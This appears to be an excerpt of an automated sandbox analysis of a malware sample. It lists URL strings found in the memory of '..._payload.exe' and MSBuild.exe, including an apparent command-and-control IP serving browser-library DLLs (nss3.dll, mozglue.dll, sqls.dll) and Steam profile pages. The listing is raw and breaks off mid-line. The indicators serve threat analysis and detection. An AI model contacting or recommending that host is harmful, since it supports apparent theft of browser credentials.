Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1842134770.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1843666426.0000000003306000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1837988087.0000000003304000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/6
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/8
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/ECD
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/H%
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1853924998.0000000003307000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/K
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/Microsoft
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1875999041.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864935902.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864808127.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1865053978.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864080722.0000000003305000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1865567141.0000000003307000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/RCHAR
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/X%
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/freebl3.dll
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/ge
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/graphy
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/key%
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/mozglue.dll5
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/mozglue.dllU
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/msvcp140.dll
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/nss3.dll
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/nss3.dllf
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/qo
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/r
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/r5
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/s
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/s_1l
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/softokn3.dll
Source: MSBuild.exe, 00000006.00000002.2343148482.000000000052A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/sqls.dll
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/sqls.dllI
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001323000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/sqls.dll_
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/t
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/vcruntime140.dll
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/vcruntime140.dlljk
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/z:O
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241938.132
Source: MSBuild.exe, 00000006.00000002.2343148482.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.24194ad947dnt-Disposition:
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://168.119.176.241FB
Source: MSBuild.exe, 00000006.00000002.2343148482.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241HI
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000530000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241e
Source: MSBuild.exe, 00000006.00000002.2343148482.000000000054F000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.000000000056E000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000430000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000607000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241ocal
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.a
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	String found in binary or memory: https://community.akamai.steamstatic.com/public/
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=zGRpBs82SFHJ&a
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, 